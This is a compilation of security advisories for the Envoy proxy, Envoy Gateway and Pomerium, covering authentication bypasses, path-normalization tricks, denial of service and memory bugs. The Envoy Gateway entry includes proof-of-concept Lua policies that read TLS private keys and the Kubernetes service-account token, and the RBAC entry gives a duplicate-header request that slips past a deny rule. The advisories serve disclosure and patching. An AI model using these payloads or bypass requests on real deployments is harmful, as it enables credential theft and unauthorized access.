A flaw was found in Envoy. The OAuth filter does not include an implementation for validating access tokens, allowing remote attackers to bypass authentication to Envoy by providing any token value.

A flaw was found in Envoy 1.9.0 and older. Envoy does not normalize HTTP URL paths. A remote attacker may craft a path with a relative path, e.g. something/../admin, to bypass access control, e.g. a block on /admin. A backend server could then interpret the unnormalized path and provide an attacker access beyond the scope provided for by the access control policy.

Upstream issue:

https://github.com/envoyproxy/envoy/issues/6435

References:

https://istio.io/blog/2019/announcing-1.1.2/

A flaw was found in envoy. When certificate validation settings are changed, incorrect configuration handling allows TLS session reuse without revalidation.

An issue was discovered in Envoy 1.12.0. An untrusted remote client may send an HTTP header (such as Host) with whitespace after the header content. Envoy will treat "header-value " as a different string from "header-value" so for example with the Host header "example.com " one could bypass "example.com" matchers.

An issue was discovered in Envoy 1.12.0. An untrusted remote client may send HTTP/2 requests that write to the heap outside of the request buffers when the upstream is HTTP/1. This may be used to corrupt nearby heap contents (leading to a query-of-death scenario) or may be used to bypass Envoy's access control mechanisms such as path based routing. An attacker can also modify requests from other users that happen to be proximal temporally and spatially.

Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to versions 1.27.0, 1.26.4, 1.25.9, 1.24.10, and 1.23.12, a malicious client is able to construct credentials with permanent validity in some specific scenarios. This is caused by the some rare scenarios in which HMAC payload can be always valid in OAuth2 filter's check. Versions 1.27.0, 1.26.4, 1.25.9, 1.24.10, and 1.23.12 have a fix for this issue. As a workaround, avoid wildcards/prefix domain wildcards in the host's domain configuration.

A flaw was found in Envoy which could allow an attacker to bypass authentication checks when extauthz is used by crafting a malicious http header with a non-UTF8 value.

Envoy is a cloud-native, open source edge and service proxy. Prior to versions 1.30.4, 1.29.7, 1.28.5, and 1.27.7. Envoy references already freed memory when route hash policy is configured with cookie attributes. Note that this vulnerability has been fixed in the open as the effect would be immediately apparent if it was configured. Memory allocated for holding attribute values is freed after configuration was parsed. During request processing Envoy will attempt to copy content of de-allocated memory into request cookie header. This can lead to arbitrary content of Envoy's memory to be sent to the upstream service or abnormal process termination. This vulnerability is fixed in Envoy versions v1.30.4, v1.29.7, v1.28.5, and v1.27.7. As a workaround, do not use cookie attributes in route action hash policy.

Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to versions 1.26.0, 1.25.3, 1.24.4, 1.23.6, and 1.22.9, the client may bypass JSON Web Token (JWT) checks and forge fake original paths. The header x-envoy-original-path should be an internal header, but Envoy does not remove this header from the request at the beginning of request processing when it is sent from an untrusted client. The faked header would then be used for trace logs and grpc logs, as well as used in the URL used for jwtauthn checks if the jwtauthn filter is used, and any other upstream use of the x-envoy-original-path header. Attackers may forge a trusted x-envoy-original-path header. Versions 1.26.0, 1.25.3, 1.24.4, 1.23.6, and 1.22.9 have patches for this issue.

Attackers can send specifically crafted HTTP/2 or HTTP/3 requests to trigger parsing errors on HTTP/1 upstream service.

A specifically constructed HTTP request or mTLS connection with a specifically crafted client certificate.

Envoy configuration must also include an option to add request headers that were generated using inputs from the request, i.e. the peer certificate SAN.

Envoy is an open source L7 proxy and communication bus designed for large modern service oriented architectures. In versions below 1.32.10 and 1.33.0 through 1.33.6, 1.34.0 through 1.34.4 and 1.35.0, insufficient Session Expiration in the Envoy OAuth2 filter leads to failed logout operations. When configured with Secure- or Host- prefixed cookie names, the filter fails to append the required Secure attribute to the Set-Cookie header during deletion. Modern browsers ignore this invalid request, causing the session cookie to persist. This allows a user to remain logged in after they believe they have logged out, creating a session hijacking risk on shared computers. The current implementation iterates through the configured cookie names to generate deletion headers but does not check for these prefixes. This failure to properly construct the deletion header means the user's session cookies are never removed by the browser, leaving the session active and allowing the next user of the same browser to gain unauthorized access to the original user's account and data. This is fixed in versions 1.32.10, 1.33.7, 1.34.5 and 1.35.1.

Impact Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the EnvoyExtensionPolicy resource. Administrators can use Kubernetes RBAC to grant users the ability to create EnvoyExtensionPolicy resources. Lua scripts in policies are executed in two contexts: An EnvoyExtensionPolicy can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope. Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.

Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.

For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.

yaml apiVersion: gateway.envoyproxy.io/v1alpha1 kind: EnvoyExtensionPolicy metadata: name: lua-leak spec: targetRefs: - group: gateway.networking.k8s.io kind: HTTPRoute name: leak lua: - type: Inline inline: | function envoyonresponse(responsehandle) local cert = io.open("/certs/tls.crt", "r") local content if cert then content = cert:read("all") cert:close() else content = "file-not-found" end local keyfile = io.open("/certs/tls.key", "r") local contentkey if keyfile then contentkey = keyfile:read("all") keyfile:close() else contentkey = "file-not-found" end local keypair = contentkey .. "\n" .. content responsehandle:body():setBytes(keypair) responsehandle:headers():replace("content-length", tostring(#keypair)) responsehandle:headers():replace("content-type", "text/plain") end

This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following EnvoyExtensionPolicy will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status.

yaml apiVersion: gateway.envoyproxy.io/v1alpha1 kind: EnvoyExtensionPolicy metadata: name: lua-leak spec: targetRefs: - group: gateway.networking.k8s.io kind: HTTPRoute name: backend lua: - type: Inline inline: | function envoyonresponse(responsehandle) local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r") local content if token then content = token:read("all") token:close() else content = "file-not-found" end io.write(content) error(content) end

Results in:

yaml apiVersion: gateway.envoyproxy.io/v1alpha1 kind: EnvoyExtensionPolicy metadata: name: lua-leak [...] status: ancestors: - ancestorRef: group: gateway.networking.k8s.io kind: Gateway name: eg namespace: default conditions: - lastTransitionTime: "..." message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0: failed to validate with envoyonresponse: <string>:622: [REDACTED TOKEN]\nstack traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoyonresponse'\n\t<string>:625: in main chunk\n\t[G]: ?."

Attackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.

Patches The patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution: Runs Lua Strict validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods. Renamed Syntax to InsecureSyntax validation mode to signify that in this validation mode Lua won't be validated for possible security gaps. Supports a new disableLua option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.

Workarounds Envoy Gateway users can create Kubernetes RBAC rules (see docs) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).

Envoy before 1.16.1 logs an incorrect downstream address because it considers only the directly connected peer, not the information in the proxy protocol header. This affects situations with tcp-proxy as the network filter (not HTTP filters).

Envoy is a high-performance edge/middle/service proxy. External authentication can be bypassed by downstream connections. Downstream clients can force invalid gRPC requests to be sent to extauthz, circumventing extauthz checks when failuremodeallow is set to true. This issue has been addressed in released 1.29.1, 1.28.1, 1.27.3, and 1.26.7. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Pomerium is an open source identity-aware access proxy. Envoy, which Pomerium is based on, can abnormally terminate if an H/2 GOAWAY and SETTINGS frame are received in the same IO event. This can lead to a DoS in the presence of untrusted upstream servers. 0.15.1 contains an upgraded envoy binary with this vulnerability patched. If only trusted upstreams are configured, there is not substantial risk of this condition being triggered.

Pomerium is an open source identity-aware access proxy. Envoy, which Pomerium is based on, contains two authorization related vulnerabilities CVE-2021-32777 and CVE-2021-32779. This may lead to incorrect routing or authorization policy decisions. With specially crafted requests, incorrect authorization or routing decisions may be made by Pomerium. Pomerium v0.14.8 and v0.15.1 contain an upgraded envoy binary with these vulnerabilities patched. This issue can only be triggered when using path prefix based policy. Removing any such policies should provide mitigation.

Envoy is an open source L7 proxy and communication bus designed for large modern service oriented architectures. In affected versions when ext-authz extension is sending request headers to the external authorization service it must merge multiple value headers according to the HTTP spec. However, only the last header value is sent. This may allow specifically crafted requests to bypass authorization. Attackers may be able to escalate privileges when using ext-authz extension or back end service that uses multiple value headers for authorization. A specifically constructed request may be delivered by an untrusted downstream peer in the presence of ext-authz extension. Envoy versions 1.19.1, 1.18.4, 1.17.4, 1.16.5 contain fixes to the ext-authz extension to correctly merge multiple request header values, when sending request for authorization.

Envoy is an open source L7 proxy and communication bus designed for large modern service oriented architectures. In affected versions Envoy transitions a H/2 connection to the CLOSED state when it receives a GOAWAY frame without any streams outstanding. The connection state is transitioned to DRAINING when it receives a SETTING frame with the SETTINGSMAXCONCURRENTSTREAMS parameter set to 0. Receiving these two frames in the same I/O event results in abnormal termination of the Envoy process due to invalid state transition from CLOSED to DRAINING. A sequence of H/2 frames delivered by an untrusted upstream server will result in Denial of Service in the presence of untrusted upstream servers. Envoy versions 1.19.1, 1.18.4 contain fixes to stop processing of pending H/2 frames after connection transition to the CLOSED state.

Envoy is an open source L7 proxy and communication bus designed for large modern service oriented architectures. In affected versions after Envoy sends a locally generated response it must stop further processing of request or response data. However when local response is generated due the internal buffer overflow while request or response is processed by the filter chain the operation may not be stopped completely and result in accessing a freed memory block. A specifically constructed request delivered by an untrusted downstream or upstream peer in the presence of extensions that modify and increase the size of request or response bodies resulting in a Denial of Service when using extensions that modify and increase the size of request or response bodies, such as decompressor filter. Envoy versions 1.19.1, 1.18.4, 1.17.4, 1.16.5 contain fixes to address incomplete termination of request processing after locally generated response. As a workaround disable Envoy's decompressor, json-transcoder or grpc-web extensions or proprietary extensions that modify and increase the size of request or response bodies, if feasible.

Envoy is an open source L7 proxy and communication bus designed for large modern service oriented architectures. In affected versions envoy incorrectly handled a URI '#fragment' element as part of the path element. Envoy is configured with an RBAC filter for authorization or similar mechanism with an explicit case of a final "/admin" path element, or is using a negative assertion with final path element of "/admin". The client sends request to "/app1/admin#foo". In Envoy prior to 1.18.0, or 1.18.0+ configured with pathnormalization=false. Envoy treats fragment as a suffix of the query string when present, or as a suffix of the path when query string is absent, so it evaluates the final path element as "/admin#foo" and mismatches with the configured "/admin" path element. In Envoy 1.18.0+ configured with pathnormalization=true. Envoy transforms this to /app1/admin%23foo and mismatches with the configured /admin prefix. The resulting URI is sent to the next server-agent with the offending "#foo" fragment which violates RFC3986 or with the nonsensical "%23foo" text appended. A specifically constructed request with URI containing '#fragment' element delivered by an untrusted client in the presence of path based request authorization resulting in escalation of Privileges when path based request authorization extensions. Envoy versions 1.19.1, 1.18.4, 1.17.4, 1.16.5 contain fixes that removes fragment from URI path in incoming requests.

A flaw was found in Envoy 1.9.0 and older. When parsing HTTP/1.x header values, Envoy does not reject embedded zero characters (NUL, ASCII 0x0). This allows remote attackers crafting header values containing embedded NUL characters to potentially bypass header matching rules, gaining access to unauthorized resources.

Upstream issue:

https://github.com/envoyproxy/envoy/issues/6434

References:

https://istio.io/blog/2019/announcing-1.1.2/

Envoy is a cloud-native edge/middle/service proxy. Envoy does not decode escaped slash sequences %2F and %5C in HTTP URL paths in versions 1.18.2 and before. A remote attacker may craft a path with escaped slashes, e.g. /something%2F..%2Fadmin, to bypass access control, e.g. a block on /admin. A backend server could then decode slash sequences and normalize path and provide an attacker access beyond the scope provided for by the access control policy. ### Impact Escalation of Privileges when using RBAC or JWT filters with enforcement based on URL path. Users with back end servers that interpret %2F and / and %5C and \ interchangeably are impacted. ### Attack Vector URL paths containing escaped slash characters delivered by untrusted client. Patches in versions 1.18.3, 1.17.3, 1.16.4, 1.15.5 contain new path normalization option to decode escaped slash characters. As a workaround, if back end servers treat %2F and / and %5C and \ interchangeably and a URL path based access control is configured, one may reconfigure the back end server to not treat %2F and / and %5C and \ interchangeably.

Envoy through 1.15.0 only considers the first value when multiple header values are present for some HTTP headers. Envoy’s setCopy() header map API does not replace all existing occurences of a non-inline header.

Envoy incorrectly accepts HTTP 200 response for entering upgrade mode

1. Summary The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true. Rule Type: Exact Match Target: internal header must not equal true.

The Bypass Logic 1. Standard Request (Blocked): Input: internal: true Envoy Processing: Sees string "true". Result: Match found. Request Denied.

2. Exploit Request (Bypassed): Input: http internal: true internal: true Envoy Processing: Concatenates values into "true,true". Matcher Evaluation: Does "true,true" equal "true"? No. Result: The Deny rule fails to trigger. Request Allowed.

3. Implications RBAC Bypass: Remote attackers can bypass configured access controls. Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible. Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true). 2. Baseline Test: Send a request containing the header internal: true. Observation: Envoy blocks this request (HTTP 403). 3. Exploit Test: Send a second request containing the same header twice: http GET /restricted-resource HTTP/1.1 Host: example.com internal: true internal: true Observation: Envoy allows the request, granting access to the resource.

6. Recommendations Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Envoy is a cloud-native high-performance edge/middle/service proxy. In Envoy version 1.17.0 an attacker can bypass authentication by presenting a JWT token with an issuer that is not in the provider list when Envoy's JWT Authentication filter is configured with the allowmissing requirement under requiresany due to a mistake in implementation. Envoy's JWT Authentication filter can be configured with the allowmissing requirement that will be satisfied if JWT is missing (JwtMissed error) and fail if JWT is presented or invalid. Due to a mistake in implementation, a JwtUnknownIssuer error was mistakenly converted to JwtMissed when requiresany was configured. So if allowmissing was configured under requiresany, an attacker can bypass authentication by presenting a JWT token with an issuer that is not in the provider list. Integrity may be impacted depending on configuration if the JWT token is used to protect against writes or modifications. This regression was introduced on 2020/11/12 in PR 13839 which fixed handling allowmissing under RequiresAny in a JwtRequirement (see issue 13458). The AnyVerifier aggregates the children verifiers' results into a final status where JwtMissing is the default error. However, a JwtUnknownIssuer was mistakenly treated the same as a JwtMissing error and the resulting final aggregation was the default JwtMissing. As a result, allowmissing would allow a JWT token with an unknown issuer status. This is fixed in version 1.17.1 by PR 15194. The fix works by preferring JwtUnknownIssuer over a JwtMissing error, fixing the accidental conversion and bypass with allowmissing. A user could detect whether a bypass occurred if they have Envoy logs enabled with debug verbosity. Users can enable component level debug logs for JWT. The JWT filter logs will indicate that there is a request with a JWT token and a failure that the JWT token is missing.

Envoy allows mixed-case schemes in HTTP/2, however, some internal scheme checks in Envoy are case-sensitive, leading to incorrect handling of requests and responses with mixed case schemes. For example, if a request with mixed scheme http is sent to the OAuth2 filter, it will fail the exact-match checks for http, and inform the remote endpoint the scheme is https, thus potentially bypassing OAuth2 checks specific to HTTP requests.

Upon receiving each incoming request header data, Envoy will iterate over existing request headers to verify that the total size of the headers stays below a maximum limit. The implementation in versions 1.10.0 through 1.11.1 for HTTP/1.x traffic and all versions of Envoy for HTTP/2 traffic had O(n^2) performance characteristics. A remote attacker may craft a request that stays below the maximum request header size but consists of many thousands of small headers to consume CPU and result in a denial-of-service attack.

Envoy is a high-performance edge/middle/service proxy. When PPv2 is enabled both on a listener and subsequent cluster, the Envoy instance will segfault when attempting to craft the upstream PPv2 header. This occurs when the downstream request has a command type of LOCAL and does not have the protocol block. This issue has been addressed in releases 1.29.1, 1.28.1, 1.27.3, and 1.26.7. Users are advised to upgrade. There are no known workarounds for this vulnerability.